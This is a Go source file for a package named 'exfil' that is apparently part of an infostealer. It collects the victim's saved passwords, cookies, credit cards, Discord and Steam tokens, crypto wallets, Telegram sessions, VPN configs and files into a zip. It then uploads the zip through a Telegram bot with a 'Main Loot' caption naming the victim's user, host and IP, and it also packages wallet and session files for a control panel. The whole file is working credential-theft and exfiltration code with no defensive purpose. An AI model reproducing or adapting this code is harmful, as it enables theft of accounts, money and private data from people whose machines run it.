264 lines
7.3 KiB
Go
264 lines
7.3 KiB
Go
package exfil
|
|
|
|
import (
|
|
"bytes"
|
|
"context"
|
|
"encoding/json"
|
|
"fmt"
|
|
"io"
|
|
"mime/multipart"
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
"time"
|
|
|
|
"recovery/recovery"
|
|
"recovery/recovery/types"
|
|
"recovery/recovery/ziputil"
|
|
)
|
|
|
|
type TelegramConfig struct {
|
|
BotToken string
|
|
ChatID string
|
|
}
|
|
|
|
func SendToTelegram(cfg TelegramConfig, zipData []byte, filename string, counts map[string]int) error {
|
|
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendDocument", cfg.BotToken)
|
|
|
|
hostname, _ := os.Hostname()
|
|
username := os.Getenv("USERNAME")
|
|
if username == "" {
|
|
username = os.Getenv("USER")
|
|
}
|
|
|
|
ip := getExternalIP()
|
|
|
|
caption := fmt.Sprintf(`✨ New Log Received ✨
|
|
|
|
💻 User: %s@%s
|
|
🌍 IP: %s
|
|
|
|
📊 Main Loot:
|
|
🔑 Passwords: %d
|
|
🍪 Cookies: %d
|
|
💰 Wallets: %d
|
|
|
|
📦 Additional Data:
|
|
💬 Messengers: %d
|
|
🔐 Extensions: %d
|
|
🔑 Keys: %d
|
|
🎮 Gaming: %d
|
|
🌐 VPNs: %d
|
|
📁 Files: %d`,
|
|
username, hostname, ip,
|
|
counts["passwords"], counts["cookies"], counts["wallets"],
|
|
counts["telegram"], counts["extensions"], counts["keys"],
|
|
counts["gaming"], counts["vpns"], counts["files"])
|
|
|
|
var buf bytes.Buffer
|
|
writer := multipart.NewWriter(&buf)
|
|
|
|
_ = writer.WriteField("chat_id", cfg.ChatID)
|
|
_ = writer.WriteField("caption", caption)
|
|
_ = writer.WriteField("parse_mode", "HTML")
|
|
|
|
part, err := writer.CreateFormFile("document", filename)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
_, _ = part.Write(zipData)
|
|
writer.Close()
|
|
|
|
req, err := http.NewRequestWithContext(context.Background(), "POST", url, &buf)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
req.Header.Set("Content-Type", writer.FormDataContentType())
|
|
|
|
client := &http.Client{Timeout: 120 * time.Second}
|
|
resp, err := client.Do(req)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer resp.Body.Close()
|
|
|
|
if resp.StatusCode != http.StatusOK {
|
|
body, _ := io.ReadAll(resp.Body)
|
|
return fmt.Errorf("telegram API error: %s - %s", resp.Status, string(body))
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func getExternalIP() string {
|
|
client := &http.Client{Timeout: 5 * time.Second}
|
|
resp, err := client.Get("https://api.ipify.org")
|
|
if err != nil {
|
|
return "unknown"
|
|
}
|
|
defer resp.Body.Close()
|
|
body, _ := io.ReadAll(resp.Body)
|
|
return strings.TrimSpace(string(body))
|
|
}
|
|
|
|
func CollectAndZipAll(ctx context.Context) ([]byte, map[string]int, error) {
|
|
result, zipData, counts, _, err := CollectResultAndZip(ctx)
|
|
if err != nil {
|
|
return nil, nil, err
|
|
}
|
|
_ = result
|
|
return zipData, counts, nil
|
|
}
|
|
|
|
// CollectResultAndZip collects a full snapshot and returns:
|
|
// - the typed result (for the panel)
|
|
// - a single zip of every json+dump for Telegram
|
|
// - per-category counts
|
|
// - individual binary payloads (wallet/telegram/steam zips) for the panel
|
|
func CollectResultAndZip(ctx context.Context) (*types.CollectionResult, []byte, map[string]int, []types.Payload, error) {
|
|
opts := types.CollectOptions{
|
|
Browsers: true,
|
|
Passwords: true,
|
|
Cookies: true,
|
|
Autofill: true,
|
|
History: true,
|
|
Bookmarks: true,
|
|
CreditCards: true,
|
|
Discord: true,
|
|
Files: true,
|
|
Wallets: true,
|
|
Telegram: true,
|
|
Keys: true,
|
|
Apps: true,
|
|
Gaming: true,
|
|
VPNs: true,
|
|
}
|
|
|
|
tmpDir, err := os.MkdirTemp("", "kematian-*")
|
|
if err != nil {
|
|
return nil, nil, nil, nil, err
|
|
}
|
|
defer os.RemoveAll(tmpDir)
|
|
|
|
result, err := recovery.Collect(ctx, opts, nil)
|
|
if err != nil {
|
|
return nil, nil, nil, nil, fmt.Errorf("collection failed: %w", err)
|
|
}
|
|
|
|
extensions := recovery.ScanExtensions()
|
|
result.Extensions = extensions
|
|
|
|
counts := map[string]int{
|
|
"passwords": len(result.Passwords),
|
|
"cookies": len(result.Cookies),
|
|
"wallets": len(result.Wallets),
|
|
"telegram": len(result.Telegram),
|
|
"extensions": len(result.Extensions),
|
|
"keys": len(result.Keys),
|
|
"gaming": 0,
|
|
"vpns": 0,
|
|
"files": len(result.Files),
|
|
}
|
|
|
|
if result.Gaming != nil {
|
|
if result.Gaming.Steam != nil {
|
|
counts["gaming"]++
|
|
}
|
|
counts["gaming"] += len(result.Gaming.BattleNet) + len(result.Gaming.Epic) + len(result.Gaming.Riot) + len(result.Gaming.Uplay)
|
|
}
|
|
if result.VPNs != nil {
|
|
counts["vpns"] = len(result.VPNs.NordVPN) + len(result.VPNs.WireGuard) + len(result.VPNs.OpenVPN) + len(result.VPNs.Mullvad)
|
|
}
|
|
|
|
writeJSON := func(name string, data interface{}) error {
|
|
jsonData, err := json.MarshalIndent(data, "", " ")
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return os.WriteFile(filepath.Join(tmpDir, name+".json"), jsonData, 0644)
|
|
}
|
|
|
|
_ = writeJSON("passwords", result.Passwords)
|
|
_ = writeJSON("cookies", result.Cookies)
|
|
_ = writeJSON("autofill", result.Autofill)
|
|
_ = writeJSON("history", result.History)
|
|
_ = writeJSON("bookmarks", result.Bookmarks)
|
|
_ = writeJSON("credit_cards", result.CreditCards)
|
|
_ = writeJSON("discord_tokens", result.DiscordTokens)
|
|
_ = writeJSON("extensions", result.Extensions)
|
|
_ = writeJSON("wallets", result.Wallets)
|
|
_ = writeJSON("telegram", result.Telegram)
|
|
_ = writeJSON("keys", result.Keys)
|
|
_ = writeJSON("app_credentials", result.AppCredentials)
|
|
_ = writeJSON("gaming", result.Gaming)
|
|
_ = writeJSON("vpns", result.VPNs)
|
|
var steamTokens []types.SteamTokenResult
|
|
if result.Gaming != nil && result.Gaming.Steam != nil {
|
|
steamTokens = result.Gaming.Steam.SteamTokens
|
|
}
|
|
_ = writeJSON("steam_tokens", steamTokens)
|
|
_ = writeJSON("fingerprint", recovery.CollectFingerprint())
|
|
_ = writeJSON("js_fingerprint", recovery.CollectJSFingerprint())
|
|
_ = writeJSON("meta", map[string]string{"collected_at": time.Now().Format(time.RFC3339)})
|
|
|
|
// Individual payloads are shipped to the panel directly so it can host the
|
|
// actual login files (wallet dirs, telegram sessions, steam session).
|
|
var payloads []types.Payload
|
|
|
|
for _, wallet := range result.Wallets {
|
|
if wallet.Path != "" {
|
|
zipData, err := recovery.ZipDirectory(wallet.Path)
|
|
if err == nil && len(zipData) > 0 {
|
|
fname := fmt.Sprintf("wallet_%s.zip", sanitizeFilename(wallet.Name))
|
|
os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644)
|
|
payloads = append(payloads, types.Payload{
|
|
Category: "wallet", Name: wallet.Name, Filename: fname,
|
|
Size: len(zipData), Data: zipData,
|
|
})
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, tg := range result.Telegram {
|
|
if tg.Path != "" {
|
|
zipData, err := recovery.ZipTelegram(tg.Path)
|
|
if err == nil && len(zipData) > 0 {
|
|
fname := fmt.Sprintf("telegram_%s.zip", sanitizeFilename(tg.Account))
|
|
os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644)
|
|
payloads = append(payloads, types.Payload{
|
|
Category: "telegram", Name: tg.Account, Filename: fname,
|
|
Size: len(zipData), Data: zipData,
|
|
})
|
|
}
|
|
}
|
|
}
|
|
|
|
if result.Gaming != nil {
|
|
if result.Gaming.Steam != nil && result.Gaming.Steam.SteamPath != "" {
|
|
zipData, err := recovery.ZipSteamSession(result.Gaming.Steam.SteamPath)
|
|
if err == nil && len(zipData) > 0 {
|
|
fname := "steam_session.zip"
|
|
os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644)
|
|
payloads = append(payloads, types.Payload{
|
|
Category: "steam", Name: "steam", Filename: fname,
|
|
Size: len(zipData), Data: zipData,
|
|
})
|
|
}
|
|
}
|
|
}
|
|
|
|
zipData, err := ziputil.ZipDirectory(tmpDir)
|
|
if err != nil {
|
|
return nil, nil, nil, nil, err
|
|
}
|
|
|
|
return result, zipData, counts, payloads, nil
|
|
}
|
|
|
|
func sanitizeFilename(name string) string {
|
|
replacer := strings.NewReplacer(
|
|
"/", "_", "\\", "_", ":", "_", "*", "_", "?", "_",
|
|
"\"", "_", "<", "_", ">", "_", "|", "_", " ", "_",
|
|
)
|
|
return replacer.Replace(name)
|
|
} |